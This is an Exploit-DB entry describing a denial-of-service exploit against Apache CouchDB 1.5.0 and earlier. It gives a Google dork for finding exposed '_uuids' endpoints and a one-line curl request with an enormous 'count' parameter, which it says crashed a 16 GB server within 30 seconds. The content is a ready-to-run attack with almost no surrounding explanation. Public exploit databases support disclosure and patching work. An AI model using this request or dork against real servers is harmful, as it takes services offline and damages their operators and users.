Apache CouchDB 1.5.0 - 'uuids' Denial of Service

EDB-ID:

32519


Type:

dos


Platform:

Multiple

Date:

2014-03-26


# Exploit Title: Couchdb uuids DOS exploit
# Google Dork inurl: _uuids
# Date: 03/24/2014
# Exploit Author: KrustyHack
# Vendor Homepage: http://couchdb.apache.org/
# Software Link: http://couchdb.apache.org/
# Version: up to 1.5.0
# Tested on: Linux Couchdb up to 1.5.0

HOW TO
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curl http://couchdb_target/_uuids?count=99999999999999999999999999999999999999999999999999999999999999999999999

TEST
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Tested on a 16G RAM Quadcore server. Couchdb dead on 30 seconds with only one GET request.